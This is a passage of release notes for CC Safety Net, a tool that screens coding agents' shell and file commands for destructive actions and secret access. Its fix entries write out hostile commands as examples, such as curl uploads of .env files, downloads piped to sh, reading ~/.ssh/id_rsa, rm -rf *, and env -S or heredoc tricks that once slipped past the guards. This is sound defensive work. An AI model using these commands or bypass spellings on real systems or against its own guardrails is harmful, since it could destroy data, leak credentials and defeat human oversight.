git configprobe inside a linked worktree timing out after 2 seconds on a cold process, which withheld a relaxation and could deny a command that should have been allowed; the cap is now 5 seconds. - Fixed the policy GUI answering from the repository shape it saw at startup, so a
.gitmarker created or removed while the GUI is open now changes the command tester's answer immediately.
Removed
- Removed the
zodruntime dependency. The published package declares no dependencies and no longer shipsTHIRD_PARTY_LICENSES.txt.
Security
- Improved diagnostic redaction: an assignment whose quote is never closed now has its entire remaining value redacted, instead of leaving the tail of the value in diagnostic output.
2026年9月14日
GitHub リリースv2.3.4
v2.3.4
- 修正
Fixes a secret-protection false positive where an allowlisted file was still blocked when it was passed as an assignment value.
Fixed
- Fixed allowlisted paths being blocked when supplied through an
exportassignment or Git's global-coption, such asexport GIT_SSL_CAINFO=/path/to/ca.pemorgit -c http.sslCAInfo=/path/to/ca.pem ls-remote origin. ExplicitdenyPathsentries and coding-CLI configuration protection still take precedence, and ordinary filenames containing=are still inspected as paths. (#109)
2026年9月8日
GitHub リリースv2.3.3
v2.3.3
- セキュリティ
- 連携
- 修正
A Windows-focused fix release: native paths are no longer lost when guards inspect command-style input from unregistered tools, the Hermes Agent plugin now works on Windows, and audit-log project filtering handles Windows paths.
Fixed
- Fixed guards losing native Windows paths in command-style input from tools outside the adapter registry. Such input is now parsed with PowerShell rules on Windows, so policy and secret protection recognize targets such as
C:\Users\<user>\.cc-safety-net\policy.json. Metadata-onlylsandstaton these inputs stay allowed in Standard mode and are blocked in Strict and Paranoid. (#101, #102) - Fixed the Hermes Agent plugin erroring on Windows. The generated pre-tool-call hook no longer requests a POSIX-only process session that Windows rejects, and an analyzer timeout now terminates the analyzer process tree with
taskkilland still returns an explicit block. (#104) - Fixed
cc-safety-net logs --projectnot matching directories nested under the given project on Windows, where the filter assumed/path separators. (#106)
2026年9月4日
GitHub リリースv2.3.2
v2.3.2
- セキュリティ
- 連携
CC Safety Net now ships a native Codex plugin, so Codex runs the same destructive-command and secret-access checks before a tool call as the other supported agents.
Added
- Added a native Codex plugin: the package now ships a Codex plugin manifest and a
PreToolUsehook definition that runs CC Safety Net before Codex executes a tool. (#100) - Added the
hook --codex(-cx) flag so the CLI can be wired into Codex as aPreToolUsehook directly. (#100)
Changed
- Codex hook decisions are now recorded with
codexas the agent in the audit log instead of relying on transcript-path detection, socc-safety-net logs --agent codexreliably shows them. (#100)
2026年9月3日
GitHub リリースv2.3.1
v2.3.1
- 破壊的変更
- 修正
Closes five detection gaps in command analysis:
curluploads of secret files, downloads piped to a shell inside unscanned bodies, live substitutions in unquoted heredocs,functionkeyword definitions, and PowerShell home-path spellings.Fixed
- Fixed
curluploads that read sensitive files being allowed.-d @.env,-F file=@.env,--data-ascii,--data-binary,--data-urlencode, and<fileform parts are now blocked, including the attached (-d@.env),=-joined (--data=@.env), and clustered (-sF file=@.env) spellings.--data-raw,--form-string, and@-still pass, because they never open a file. - Fixed downloads piped to a shell going undetected inside command bodies the parser does not descend into, such as a heredoc fed to
bash.curl ... | shand itswget,nc, andaria2cvariants are now blocked, includingsudo,env,command, andbuiltinwrappers and line continuations, while benign pipes such ascurl ... | jq .stay allowed. - Fixed unquoted heredoc bodies hiding live code.
$(...)and backtick substitutions in such a body are now parsed and matched against the full rule set, socat <<EOFwith$(find . -delete)reports thefind.deleterule instead of a generic text match. Quoted (<<'EOF') bodies and escaped\$(...)remain inert data. - Fixed bash
function name { ... }andfunction name() { ... }definitions not being parsed. Commands inside such a function are now analyzed when it is called, including mutations of the protected policy file. - Fixed PowerShell secret checks missing native path spellings. A
$HOME\,$env:USERPROFILE\,$env:HOME\, or~\prefix now resolves forGet-Content,Set-Content,Add-Content,Copy-Item,Move-Item,Remove-Item, and the aliasesgc,cat,type,cp,mv,rm, anddel, and a backtick escape inside the path no longer hides it. A path assembled any other way, such as concatenation, a subexpression, orJoin-Path, stays out of scope.
2026年9月1日
GitHub リリースv2.3.0
v2.3.0
- セキュリティ
- 破壊的変更
- 移行
- 修正
This release adds team-shareable project policies with a human-confirmed
policy apply, curated official rulebooks for infrastructure CLIs, and replaces the rulebook lock-and-cache with live vendored files. Installs that added GitHub rulebooks on 2.2 or earlier need a one-timerule syncper scope after upgrading.Highlights
- Added a project policy scope: a team lead commits
.cc-safety-net/policy.jsonand every clone picks it up with no member action, layered over each member's own user policy. (#97) - Added official rulebooks for Terraform, AWS, gcloud, and Azure, installable with
cc-safety-net rule add --only terraform aws --global. (#96) - Changed rulebooks to live files: the runtime reads each
rulebook.jsonon every tool call, so an edit applies to the next command with no sync step. (#97)
Added
- Added
cc-safety-net policy check <file>to validate a policy proposal and print its diff, andcc-safety-net policy apply <file>to write it after an interactive terminal confirmation. Add--globalto target the user policy instead of the project one. - Added project-scope policy merging: the project file supplies safety level, per-feature toggles, per-rule overrides, and path lists, while any field it leaves out keeps inheriting from the user policy. Per-rule overrides merge by rule id, path lists are the union of both scopes, and
auditstays user scope only. - Added project-policy reporting across every surface:
statusshows the project policy path and a line-by-line list of what it relaxed,doctorprints the same deltas under Effective Safety,explainnames the scope that supplied the safety preset, and the status line shows a🔻marker. - Added a "Draft project policy" mode to
cc-safety-net gui: pick a project directory, mark only the fields to write, review the merged diff and relaxation warnings, and save.cc-safety-net/policy.json. (#98) - Added repository-wide rulebook installs:
rule add owner/repoadds every rulebook on the default branch,--only <rulebook...>selects specific ones, and--ref <ref>picks a branch, tag, or commit. Runningrule add --only <rulebook...>with no source selects from the officialcc-safety-net/rulebooksrepository. The command now prints the scope it wrote to and the rulebooks and commits it vendored. - Added
rulebook_version2, which replacessubcommandandblock_argswith an exact-tokenmatchobject (command_path,any_args,exclude_args). Value-taking global options foraws,gcloud, andazare recognized when locating the command path, so options such as--profile proddo not defeat a rule. Version 1 rulebooks keep their fields and behavior. - Added fixture evaluation for version 2 rulebooks: their
testsentries are checked against the rulebook's own rules byrule add,rule update, andrule verify, and a failing fixture rejects the source before it is written. Fixture commands are analyzed, never executed. - Added support for GitHub refs containing
/, such asowner/repo#feature/rulebook-v2.
Changed
- Changed remote rulebook handling:
rule addvalidates and vendors the rulebook files into your own configuration, and nothing updates in the background. Runrule update [source]to re-fetch and rewrite the vendored copies; a source with an ordinary update failure keeps its existing copy while the others still update. - Changed
rule listto describe version 2 rules by their command path andany_args/exclude_argsinstead of printing an emptyBlock argsrow. - Changed the
/cc-safety-netskill into a full operator: it explains why a command was blocked, triages false positives, authors rules and policy proposals, manages agent CLI integrations, and diagnoses protection. It is manual-only and never triggers on its own. - Changed
doctorto report leftover rulebook lock and cache files from an earlier version, with the command that migrates them.
Breaking Changes
- Replaced the
rule syncsynchronization step: rulebooks no longer have a lock or cache, and the command now only migrates leftovers from an earlier install. - Migration: If you installed rulebooks from GitHub on 2.2 or earlier, run
npx -y cc-safety-net rule synconce per scope after upgrading, adding--globalfor user-scope sources. Until then, those GitHub-sourced rules are inactive andstatusanddoctorreport the degraded sources. - Removed the
--checkoption from everyrulesubcommand; passing it is now an error. - Migration: Use
cc-safety-net rule verifyfor offline validation of config and rulebooks.
Security
- Blocked agents from applying policy proposals:
cc-safety-net policy applyis denied when an agent runs it, including through package runners such asnpx,pnpm dlx, andnpm exec, and it refuses to run without an interactive terminal.cc-safety-net policy checkstays available so an agent can show what a proposal would change. - Extended policy-file protection to the project
.cc-safety-net/policy.json, so an agent can no longer create or modify the project policy that the guards enforce.
2026年8月31日
GitHub リリースv2.2.2
v2.2.2
- 修正
A maintenance release that makes Amp block messages explain why a command's working directory was rejected and how to recover from it.
Fixed
- Fixed Amp shell commands whose working directory cannot be resolved being reported as an unexpected internal failure. The command is still blocked before analysis, but the message now states that the requested directory is missing, inaccessible, not a directory, or in an unsupported path form, echoes the command and directory, and tells the agent to retry from an existing accessible directory. (#94)
2026年8月25日
GitHub リリースv2.2.1
v2.2.1
- 連携
- 修正
A patch release that fixes a Windows-only path comparison bug which caused safe deletions inside the system temporary directory to be blocked.
Fixed
- Fixed
rm -rfon a path inside the Windows temporary directory being blocked when the path's letter case differed from the resolved temp root, so an MSYS-style target such as/c/Users/<user>/AppData/Local/Temp/claude/...is now treated the same as itsC:/Users/...equivalent. (#91)
2026年8月25日
GitHub リリースv2.2.0
v2.2.0
- セキュリティ
- 破壊的変更
- 連携
- 修正
Adds Grok Build as a supported coding agent CLI, and fixes Windows protection for Git Bash style
/c/...paths that previously slipped past checks theirC:/...spelling would have blocked.Added
- Added Grok Build support: install the PreToolUse hook with
cc-safety-net install --grok-build(remove it withuninstall --grok-build), or run the adapter directly withcc-safety-net hook --grok-build/-gb. The hook config is written to~/.grok/hooks/cc-safety-net.json, honorsGROK_HOME, and install and uninstall preserve any other hook entries in that file. Note that Grok Build hooks are fail-open by design, so only an explicit deny blocks a tool call; seeSECURITY.mdfor the limits. (#92) - Added Grok Build to
cc-safety-net doctor, which reports the hook as configured and warns when the managed entry has drifted, such as a coverage-narrowingmatcher, a handlertypeother thancommand, or a changed timeout. (#92) - Added secret protection for Grok Build credentials and config files:
~/.grok/auth.json,~/.grok/mcp_credentials.json,~/.grok/config.toml,~/.grok/managed_config.toml,~/.grok/requirements.toml,<project>/.grok/config.toml,/etc/grok/managed_config.toml, and/etc/grok/requirements.toml. (#92)
Fixed
- Fixed Windows handling of MSYS and Git Bash path spellings such as
/c/Users/..., which were previously read as paths on the current drive. Recursivermclassification, protected policy path checks, secret-file protection, andHOMEandCC_SAFETY_NET_HOMEresolution now normalize these to the nativeC:/...form first, so a destructive command written in the/c/form is treated the same as itsC:/form. (#91)
2026年8月25日
GitHub リリースv2.1.1
v2.1.1
cc-safety-net updatenow refreshes thebunxcache alongside thenpxcache, so a laterbunx cc-safety-netrun picks up the new release instead of the stale cached one. Persistent installs that are behind the latest published version also get a one-line update nudge.Added
- Added
bunxcache clearing tocc-safety-net update. Each run removes the current user'sbunx-<uid>-cc-safety-net@*entries from the OS temp directory, including when no integrations are installed. Entries are matched by name, so another tool that merely depends oncc-safety-netkeeps its own cache, and the entry the running process was launched from is preserved. (#90) - Added an update nudge to
cc-safety-net update. When a persistent install (for examplenpm i -g cc-safety-net) is behind the latest published version, the command prints the current and latest versions plus an upgrade hint. Ephemeralnpxandbunxruns skip the registry check entirely, and a failed or offline check stays silent and does not change the exit code. (#90)
Changed
- Changed
cc-safety-net updateto report abunxcache-clearing failure and exit with a non-zero status, instead of silently succeeding. (#90)
2026年8月24日
GitHub リリース- Added
v2.1.0
v2.1.0
- セキュリティ
- 破壊的変更
- 修正
Adds a
cc-safety-net/apilibrary entry so Node.js hosts can check a command in-process without installing an agent integration, and hardens--delete-sourceso it can no longer remove files a concurrent process added.Added
- Added the
cc-safety-net/apipackage entry exportingcheckCommand({ command, cwd }), which returns anallowordenydecision for a single shell command without executing it, writing audit data, changing configuration, or making network requests. Denials include a displayreasonand an optionalruleId. (#89) - Added an absolute-path
cwdrequirement tocheckCommand, which anchors relative command targets and selects the project policy so the check never falls back to hidden process state. An unusable directory fails closed with a deny. (#89) - Added TypeScript declarations for the new entry, so
checkCommandandCheckCommandResulttype-check fromcc-safety-net/apialone without any optional agent-integration packages installed. The entry requires Node.js 18 or later and ESM; there is no CommonJS build. (#89)
Fixed
- Fixed
--delete-sourcerecursively deleting files that a concurrent process added to a rulebook source directory after the pre-sync safeguard ran but before the delete. The safeguard now re-runs at delete time, an unexpected file refuses the delete with the existing "delete manually" error and a clean configuration rollback, and only the validatedrulebook.jsonplus the then-empty directory are removed. (#88) - Fixed
--delete-sourcereporting a failure when the source directory was already removed during the sync, which is the requested end state. (#88)
2026年8月24日
GitHub リリースv2.0.11
v2.0.11
- セキュリティ
- 連携
- 修正
This release removes two false blocks — literal heredoc bodies and Amp shell commands that run outside the workspace root — and hardens the doctor, GUI, and integration paths against malformed input.
Changed
- Changed the local GUI server to reject a request body larger than 1 MiB with HTTP 413 instead of buffering it in memory.
Fixed
- Fixed the analyzer blocking an unquoted heredoc whose body contains no
$, backtick, or backslash. Such a body reaches the command byte-for-byte, so it is now analyzed as literal data, while a body with expansion or escape characters keeps the raw-text scan. (#87, #86) - Fixed Amp shell calls failing closed when
dirpoints outside the workspace root. The directory is now canonicalized, with symlinks resolved, and the command is analyzed there; a directory that cannot be canonicalized still fails closed. (#85) - Fixed Git metadata protection covering only the execution directory's repository. It is now anchored to both the execution and configuration directories, so a workspace repository's
.gitstays protected when a command runs elsewhere. (#85) - Fixed
cc-safety-net doctorexiting0while reporting an error-level finding, such as an unsafe policy, config, or audit directory. - Fixed the GUI policy editor failing to render a draft saved by an older build or damaged in storage. Drafts are now validated against the policy shape and discarded when they do not match.
- Fixed the GUI folder picker offering a dialog program that cannot start. A
PATHentry now counts only when it is an executable file. - Fixed GitHub Copilot CLI detection accepting a hook config with an unexpected shape. An invalid
hooks.preToolUseis now reported as a configuration error. - Fixed Antigravity CLI installation failing on a hand-edited hooks config that holds unexpected JSON shapes. Unrecognized entries are now left untouched.
- Fixed doctor and audit summaries trusting malformed audit log records. A record that does not match the expected shape is now counted as skipped.
- Fixed hook agent detection failing when a payload supplies a non-string transcript path. It now falls back to an unknown agent so analysis still runs.
- Fixed rulebook discovery from GitHub accepting unexpected API responses. It now stops with a clear inspection error.
2026年8月23日
GitHub リリースv2.0.10
v2.0.10
- 修正
Fixes a false-positive denial where a command carrying many path-like tokens in a single argument was blocked with a command-analysis-limit error instead of being analyzed.
Fixed
- Fixed legitimate commands being denied with a command-analysis-limit error when one argument contained a large number of path-like tokens, such as a quoted
python3heredoc listing hundreds of file paths. A path whose nearest existing ancestor is past the missing-component limit now resolves to its lexical form instead of aborting the analysis, and the remaining canonicalization budgets still fail closed. (#83)
2026年8月21日
GitHub リリースv2.0.9
v2.0.9
- セキュリティ
- 修正
This release closes an
env -Sbypass in the policy-file and Git-metadata guards and stops commands full of path-like tokens from being denied as an internal failure.env -Sand GNUparallel --envare no longer emulated, so a few commands that previously passed analysis are now refused.Highlights
- Blocked policy-file and Git-metadata mutations hidden inside an
env -Ssplit string, such asenv -S 'rm <policy-path>' true(#82). - Fixed commands containing many path-like tokens being denied as an unexpected CC Safety Net failure; policy-path checks now do far less filesystem work (#82).
Changed
- Changed
env -Shandling: the split string is no longer expanded. Its value is scanned for destructive text, and an inert value is spliced ahead of the remaining operands and analyzed as the real command line. Under thestrictandparanoidsafety levels anenv -Scommand is now refused as an unverifiable execution source. - Changed GNU
parallel --envhandling: because the selected values are supplied at run time, the command is now refused as unverifiable construction instead of being emulated. - Improved analysis-limit denials: they now say the command exceeds safe analysis limits and suggest simplifying or splitting it, instead of reporting an internal CC Safety Net fault.
- Changed audit logging so fail-closed failure entries keep the whole command instead of a truncated one.
- Changed the
git.alias-configrule to follow the resolved destructive-command rule state, so turning off destructive-command protection now suppresses it too.
Fixed
- Fixed
xargsreplacement input not being treated as dynamic for themerge,rebase,reflog,rm,stash, andworktreeGit subcommands. - Fixed worktree-mode Git environment tracking: an assignment that only prefixes a command no longer persists into later segments, a
NAME=valuetoken after the command word is no longer treated as an environment override, a prefixedunsetis now tracked, andcommand -v/-Vis treated as a query rather than an invocation. - Fixed the policy GUI showing default settings for a partially invalid policy file while the engine enforced the salvaged values; it now shows the policy that is in force.
- Fixed the policy GUI refresh buttons staying disabled and spinning when a reload failed.
Security
- Fixed policy-file and Git-metadata protection missing mutations hidden in an
env -Ssplit string; the split words are now scanned against the protected paths. - Fixed destructive text in a GNU
parallelenvironment value being allowed when the coarseparallelrules or destructive-command protection were turned off; such values now stay blocked in every configuration.
2026年8月21日
GitHub リリースv2.0.8
v2.0.8
- 破壊的変更
- 移行
- 連携
- 修正
Fixes Amp plugin installation, which could leave the plugin unable to load, by shipping it as a directory plugin and migrating existing installs automatically.
Fixed
- Fixed the Amp plugin failing to load: it is now installed as a directory (
cc-safety-net/index.ts) in your Amp personal plugins repository instead of the root filecc-safety-net.ts, which Amp base64-encodes into a single process environment entry that exceeds Linux's per-entry limit. (#79) - Fixed migration from earlier releases:
install --ampnow removes the legacycc-safety-net.tsfile in the same commit, so no manual cleanup is needed. (#79) - Fixed
uninstall --ampscope: it now removes only the managed entry file and leaves any other files you keep in the plugin directory untouched. (#79) - Fixed
install --ampreporting the plugin as already up to date when the plugin path is ignored by your personal plugins repository; staging the file now fails with an error instead. (#79) - Fixed cleanup of a masking local copy: install and uninstall now also remove a
~/.config/amp/plugins/cc-safety-net/directory when it holds nothing but the managed entry, and refuse rather than delete anything else. (#79) - Fixed retry instructions in Amp error messages, which told you to rerun
install --ampeven when the failure happened duringuninstall --amp. (#79)
2026年8月20日
GitHub リリースv2.0.7
v2.0.7
- セキュリティ
- 破壊的変更
- 移行
- 連携
- 修正
This release blocks forced
git rmworking-tree removal, closes several audit-found analyzer bypasses, and removes common false denials such asls -la ~/.sshandeval "$(ssh-agent -s)"at the standard level. Note two breaking--jsonoutput changes indoctorandexplain.Highlights
- Added a
git.rm-forcerule that blocks forcedgit rmworking-tree removal (e.g.git rm -rf .) at every safety level, motivated by a real-world incident that destroyed a project (anthropics/claude-code#70687). - Closed analyzer fail-opens found in a security audit:
rm -rf *at a home working directory is now blocked at all levels, and strict mode now catches variable-provenance command heads and substitution-derivedrmflags. - Reduced standard-level false denials: metadata-only
ls/statdiscovery and verifiable local generator sources likeeval "$(ssh-agent -s)"andsource <(kubectl completion bash)are now allowed.
Added
- Added the default-enabled
git.rm-forcerule:git rmwith an effective--force/-fis blocked unless--cachedor--dry-run/-nis present; non-forcedgit rmandgit rm -r --cached .stay allowed. The standard preset now enables 45 rules.
Changed
- Allowed
eval "$(CMD)"andsource <(CMD)at the standard level whenCMDis a single fully literal local command; remote fetchers (curl,wget, ...), shells, command wrappers, and env-assignment-prefixed bodies stay denied, and strict/paranoid still deny every dynamic shell source. Note that the generator's emitted shell itself runs unverified (seeSECURITY.md). - Allowed metadata-only discovery with
lsandstatheads (e.g.ls -la ~/.ssh,stat .env) at the standard level; content access such ascat ~/.ssh/id_rsastays blocked, and strict/paranoid still block both. - Changed the Kimi Code plugin manifest to intercept all tools instead of only
Bash, so the native plugin install protectsRead/Write/Editlike the global-hook install already did.
Fixed
- Fixed
rm -rf *with the working directory at home being allowed at standard: a bare*now classifies as a root-or-home target and is blocked at all levels, while a quoted literalrm -rf '*'(a single file named*) is classified by its actual target. - Fixed strict-mode fail-opens where
c=rm; "$c" -rf dir,$CMD --version, andrm $(printf -- '-rf') dirwere allowed at every level; strict and paranoid now block them while standard verdicts are unchanged. - Fixed statement-level env assignments with space-containing values (e.g.
TMPDIR="/tmp/safe /Users"; rm -rf $TMPDIR/x) escaping shell-state tracking; strict and paranoid now block the word-splittingrmtarget. - Fixed Kimi Code ignoring the per-call
Bashtool_input.cwd: it is now contained against the session directory and used as the execution directory, failing closed on invalid or escaping values. - Fixed Pi tool calls being analyzed under the raw context
cwdinstead of the validated, canonicalized one, and routed the built-infindtool as a read-only glob so searches under protected directories are no longer falsely denied. - Fixed OpenClaw Code Mode JavaScript
execevents being parsed as shell commands and falsely denied, and expanded a leading tilde inOPENCLAW_STATE_DIRandOPENCLAW_CONFIG_PATH. - Fixed OpenCode integration gaps: slash-rooted Windows workdirs pass through instead of failing closed, config and cache roots follow
XDG_CONFIG_HOME/XDG_CACHE_HOME, install now verifies the plugin actually loads, and an unconfigured shell resolves to PowerShell on Windows and to$SHELLelsewhere instead of the auto heuristic. - Fixed
doctormisreporting a never-installed Codex plugin as disabled, missing Copilot CLI hooks defined in~/.copilot/settings.jsonand the repository's.claude/settings.json/settings.local.json, and probingcodex plugin listwith a shorter timeout thaninstall, which could report Codex as not installed whereinstallsaw it. - Fixed the Copilot CLI
powershellruntime tool being analyzed with the wrong shell dialect, and the Hermes Agent plugin now resolves the working directory in the host's own order. - Fixed a successful GUI install rendering an empty status box instead of the success report.
- Fixed
explaincrashing with a stack trace and empty stdout on analysis-limit inputs (e.g. a recursion bomb); it now prints a bounded JSON error under--jsonor a plain message on stderr and exits 1. Pipedexplainoutput is also no longer truncated at the pipe buffer size. - Fixed
explaintrace steps naming functions that do not exist and theenv -Sdenial reason claiming an unreachable condition; the reason now names the real 16,384-token expansion-limit trigger.
Breaking Changes
- Changed
doctor --jsonto report integration versions under a singleversionsmap keyed by integration id instead of twelve flat fields such asclaudeCodeVersion. - Migration: Read
versions.<integration-id>instead of the per-integration*Versionkeys. - Changed
explain --jsontrace output:rule-checksteps emit onerulestring in place ofruleModule/ruleFunction, andenv-strip.envVarsis an array of variable names instead of an object. - Migration: Read
rulefor the rule identity and treatenvVarsas a string array.
Removed
- Removed the Pi
Shelltool adapter; the tool no longer exists on the Pi host, and the built-inbashroute is unchanged.
2026年8月19日
GitHub リリースv2.0.6
v2.0.6
- 破壊的変更
- 修正
This release adds configurable allow paths to secret protection and fixes several cases where the secret path scanner misread commands, including a detection gap for symlinked credential directories.
Added
- Added a
secret_protection.allow_pathspolicy setting with a matching "Allow paths" list in the policy GUI. Literal file or directory entries are exempt from the secret pattern rules; explicit deny paths and the coding-CLI protections still apply. Entries that cover the home directory or the guard's own configuration are rejected, and glob patterns are not supported. (#77)
Fixed
- Fixed the home credential rules (
~/.ssh,~/.aws, ...) so they still block access when the credential directory is a symlink, as commonly created by dotfile and password managers. (#77) - Fixed false blocks on text that does not name a local file: regex operands such as
git grep "process\.env", prose that begins with a sensitive prefix such as.env.example), and remotehttp(s)URLs. Files that exist on disk with such names,file:URLs, and shell-escaped operands stay blocked. (#77) - Fixed the
explainexemption to cover every documented invocation form, includingbunx cc-safety-net explain,npx -y cc-safety-net explain, andbun run <entrypoint> explain. Other runners and packages keep full argument inspection. (#77) - Fixed the policy GUI so an unsaved draft created before this release restores without breaking the editor. (#77)
2026年8月17日
GitHub リリースv2.0.5
v2.0.5
- 連携
This release makes
cc-safety-net updatefaster and gives it clearer progress feedback.Changed
- Improved
cc-safety-net updatespeed: all detected integrations now update concurrently, and integration detection starts while the install banner plays. (#75) - Improved
updateprogress feedback: the command shows a spinner while it checks and updates integrations, then prints one result line per integration. (#75) - Improved Codex updates: the update reuses the
codex plugin listoutput from detection instead of querying the Codex marketplace a second time. (#75) - Changed the stale
npxcache cleanup during updates: the cache is cleared once before the targets run, and a cleanup failure now fails only the targets that depend on that cache while the other integrations still update. (#75)
2026年8月14日
GitHub リリースv2.0.4
v2.0.4
- 連携
- 修正
Fixes a silent failure where custom rules never enforced in plugin installs that copy a repository checkout instead of running a package manager.
Fixed
- Fixed custom rules never loading in repository-checkout plugin installs, such as the Claude Code marketplace, Codex, Copilot CLI, and Kimi Code. These installs have no
node_modules, so the schema loader's lazyrequire('zod')failed and every custom rule stayed inactive while built-in protections kept working. The CLI bundle now resolves its schema dependency from a vendoreddist/vendor/zod.cjscopy that ships with the package. (#72, #74) - Fixed rulebook and policy configuration errors being reported as
Invalid JSONon files that are valid JSON. These loaders now reportInvalid JSONonly for a real parse failure, and show the underlying filesystem or dependency message otherwise. (#72)
2026年8月14日
GitHub リリースv2.0.3
v2.0.3
- 連携
- 修正
Highlights
- Amp personal-scope install.
install --ampnow publishes the plugin to your Amp Personal Plugins repository, so the safety net follows your account to every machine — including remote Orb threads — instead of living in one local config. - Native Kimi Code plugin. The release now shipskimi.plugin.json, so you can install via/plugins installand let Kimi Code manage enable, disable, update, and removal. The installer offers a choice between the global hook and the native plugin when you select Kimi Code.Features
-
install --ampembeds a snapshot of your user policy in the published plugin. A remote Orb with an empty home directory now enforces your policy instead of only the built-in defaults. - Flagged installs (e.g.install --codex) show a loading spinner while the host CLI runs, so slow network installs no longer look hung.Fixes
- Windows: npm-installed CLIs ship as
.cmdshims, which Node'sspawncannot start directly. All native install probes and commands now route throughCOMSPEC, soinstall --codexand the interactive picker work on Windows (#69). - Amp: if an unmanaged file or symlink at~/.config/amp/plugins/cc-safety-net.tswould mask the newly published personal plugin, the install now fails with an actionable error instead of reporting success while the hook may never run. - Amp: the machine-generated commit in the throwaway checkout now carries an explicit git identity, so the install works on machines with no globaluser.name/user.emailconfigured. - A stalled host CLI is now killed after 120 seconds and reported as a failure, so an install can no longer hang forever. - The Amp install now stops immediately when its staged-status probe fails instead of attempting the commit anyway.Internal
- The release pipeline validates
kimi.plugin.jsonalongside the other manifests, preserves manifest formatting when bumping versions, and lints the prepared files before tagging — the failure class that blocked v2.0.2 can no longer reach a tag.2026年8月12日
GitHub リリースv2.0.1
v2.0.1
- 移行
- 連携
- 修正
Fixes
updatemigrates pre-rename plugins — updating from the oldsafety-netplugin name now works across hosts:- Detects the pre-rename Copilot CLI plugin and removes it after migrating.
- Refreshes an already-registered marketplace before installing on Claude Code, Codex, and Copilot CLI, so updates no longer fail against a stale catalog.
- Legacy-plugin cleanup is best-effort: a failure warns instead of failing the target, since the host CLI may have already dropped the record.
codex plugin listnow runs with a 30 s timeout, so a cold run no longer silently drops Codex from detection.- One failed target no longer stops the remaining update targets; the command still exits non-zero at the end.
Release pipeline
- The prepare-release workflow now takes a
patch/minor/majorbump choice and computes the next version automatically; an explicit version input remains as an override. - The publisher looks up GitHub releases with a draft-aware query, fixing a failure on the first publish of a tag.
Upgrade
npx -y cc-safety-net@latest updateFull changelog: https://github.com/kenryu42/cc-safety-net/compare/v2.0.0...v2.0.1
2026年8月10日
GitHub リリースv2.0.0
v2.0.0
- セキュリティ
- 移行
- 連携
- ドキュメント
V2 is a ground-up rebuild: one installer for twelve coding CLIs, secret protection, a policy GUI, and a rebuilt evaluation engine with decision tracing.
Upgrading from v1? One command upgrades every installed integration:
npx -y cc-safety-net@latest update. If you defined custom rules under v1, see Upgrading from an older version.Renamed: `safety-net` → `cc-safety-net`
The plugin, npm package, and CLI are now uniformly named cc-safety-net. Claude Code marketplace installs migrate automatically; no action is needed.
Highlights
- Universal installer — interactive
install/uninstall/updateacross all twelve supported agent CLIs (Claude Code, Codex, Cursor, Gemini CLI, Copilot CLI, OpenCode, Amp, Pi, and more). - Secret protection — built-in rules block access to SSH keys,
.envfiles, cloud credentials, and coding-CLI credential stores, across shell commands and file tools. - Rebuilt evaluation engine — canonical command IR, immutable policy snapshots, and an ordered guard pipeline with decision tracing via
explain. - Always-on catastrophic protections — recursive deletion of root or home, Git metadata mutation, and policy-file tampering are blocked in every mode.
- Safety presets —
standard/strict/paranoidwith per-rule overrides, trusted delete allow-paths, and env vars that can only raise protection. - Policy GUI —
cc-safety-net guiserves a local, token-authenticated policy editor with live preset preview. - Audit trail — allowed and blocked decisions logged to local per-project JSONL with secret redaction; browse with
cc-safety-net logs. - Documented threat model — the SECURITY.md mode contract, explicit resource limits, and a residual-risk registry.
Get started
npx -y cc-safety-net@latest installFull documentation: https://ccsafetynet.com/docs
Full changelog: https://github.com/kenryu42/cc-safety-net/compare/v1.0.6...v2.0.0
2026年8月10日
GitHub リリースv1.0.6
v1.0.6
- 修正
Changes
- fix: avoid duplicate home rule scope (#62) — When the user config path and the project config path resolve to the same file (e.g. running inside
$HOME), the rules config was loaded twice, producing duplicate rule entries. The policy loader now detects this viaresolve()andrealpathSync()and skips the redundant read.
Tests
- test: isolate home scope regression — Added dedicated tests to verify that rules are not duplicated when the home and project scopes overlap.
Thanks to @sQVe for reporting the issue in #61 .
2026年6月15日
GitHub リリースv1.0.5
v1.0.5
- 移行
- 連携
- ドキュメント
Changes
- kimi-code: resolve config from correct directory — Config path now resolves from
KIMI_CODE_HOME/.kimi-codeinstead of the legacyKIMI_SHARE_DIR/.kimi. - kimi-code: match PreToolUse hook to
Bashtool — The hook matcher was targetingShellbut Kimi Code exposes the tool asBash. Updated to match the correct tool name.
Docs
- readme: note optional cc-safety-net skill for Kimi Code — Added a note about the
/cc-safety-netskill for configuring custom rules.
2026年6月14日
GitHub リリースv1.0.4
v1.0.4
- セキュリティ
- 連携
- 修正
Bug Fixes
- opencode: write audit logs for blocked commands — When a command is blocked and a
sessionIDis present, the plugin now correctly writes an audit log entry. Previously, blocked commands in OpenCode sessions were not being logged. - opencode: inject audit log home directory — The plugin now accepts and forwards a
homeDirparameter to the audit logger, ensuring logs are written to the correct location.
Thanks to @johnatas-henrique for reporting the issue in #58 .
2026年6月14日
GitHub リリースv1.0.3
v1.0.3
- セキュリティ
- 修正
Security Fix
- Bumped
shell-quoteto v1.8.4 — addresses a parsing vulnerability in the upstream dependency (#56)
Thanks to @joerawr for reporting the shell-quote vulnerability in #55.
2026年6月13日
GitHub リリースv1.0.2
v1.0.2
- 修正
Bug fix: Preserve effective cwd when
cdtargets the current directory.Previously, commands like
cd .orcd /current/pathwould reset the effective cwd to unknown, potentially causing false-positive blocks on subsequent segments. The analyzer now resolvescdtargets and recognizes when the directory hasn't actually changed, keeping the cwd intact.Changes
- fix(analyze): Preserve effective cwd when
cdtargets the current directory - fix(explain): Align cwd trace with resolved cd-to-same-directory behavior
- test(rm): Assert
rm -rfstays allowed aftercdto current cwd
2026年6月12日
GitHub リリースv1.0.1
v1.0.1
- 破壊的変更
- 連携
- ドキュメント
Features
- Expanded Pi shell tool safety analysis — Added support for custom working directories and additional tool adapters, broadening the scope of shell command interception.
Refactors
- Renamed
tool_use→tool_call— Aligned internal event handling naming with upstream API terminology. - Pruned unused exports — Removed dead exports, marked test-only helpers with
@internal, and updated AGENTS.md with new knip standards.
Docs
- Added plugin troubleshooting steps to README.
2026年6月5日
GitHub リリースv1.0.0
v1.0.0
- セキュリティ
- 破壊的変更
- 移行
- 連携
CC Safety Net v1.0.0
This project originally started as a Claude Code plugin and was previously known as "Claude Code Safety Net." With v1.0.0, it has been rebranded to CC Safety Net — where CC stands for Coding (agent) CLI — to reflect its expanded support for multiple coding agent platforms including Codex, Copilot CLI, Gemini CLI, Kimi CLI, Pi and more to come.
Highlights
- Rulebook-backed configuration — Custom rules now live under
